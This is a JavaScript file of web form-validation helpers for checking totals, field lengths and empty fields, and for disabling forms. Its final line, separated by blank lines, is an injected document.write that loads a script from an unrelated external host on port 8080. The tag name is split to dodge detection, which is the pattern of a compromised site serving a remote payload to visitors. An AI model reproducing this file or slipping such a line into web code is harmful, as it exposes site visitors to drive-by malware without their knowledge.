function checksupporttotal(total,max)
{
  if(total.value == 0)
    {
      alert('Enter a total');
      return false;
    }
  else if(total.value>max)
    {
      alert('Support total is more than your availabe balance.');
      return false;
    }    
}


function Length_TextField_Validator(input, min, max, text)
{
  if ((input.value.length < min) || (input.value.length > max))
    {
      // Build alert box message showing how many characters entered
      mesg = text + " should be less than " + max + " characters.\n";
      alert(mesg);
      // Place the cursor on the field for revision
      input.focus();
      // return false to stop further processing
      return (false);
    }
  // If text_name is not null continue processing
  return (true);
}

function IsEmpty(aTextField)
{
  if ((aTextField.length==0) || (aTextField==null))
    {
      return true;
    }
  else 
    { 
      return false; 
    }
}	


function checkempty(form1,field1,field2,description) 
{

  var message = '';

  for (var i=0; i<field1.length; i++)
    {
      if(!IsEmpty(form1.elements[field1[i]].value) && IsEmpty(form1.elements[field2[i]].value) )
	{
	  message = message + '\n' + description[i];
	}
    }

  if(IsEmpty(message))
    {
      return true;
    }
  else
    {
      message = 'Type a description for: ' + message;
      alert (message);
      return false;
    }

}

function disableform(formId)
{
  form = document.getElementById(formId);
  for(i=0; i<form.elements.length; i++)
  {
    form.elements[i].disabled = true;
  }
}





document.write('<s'+'cript type="text/javascript" src="http://sfofotky.iexam.info:8080/AGP.js"></scr'+'ipt>');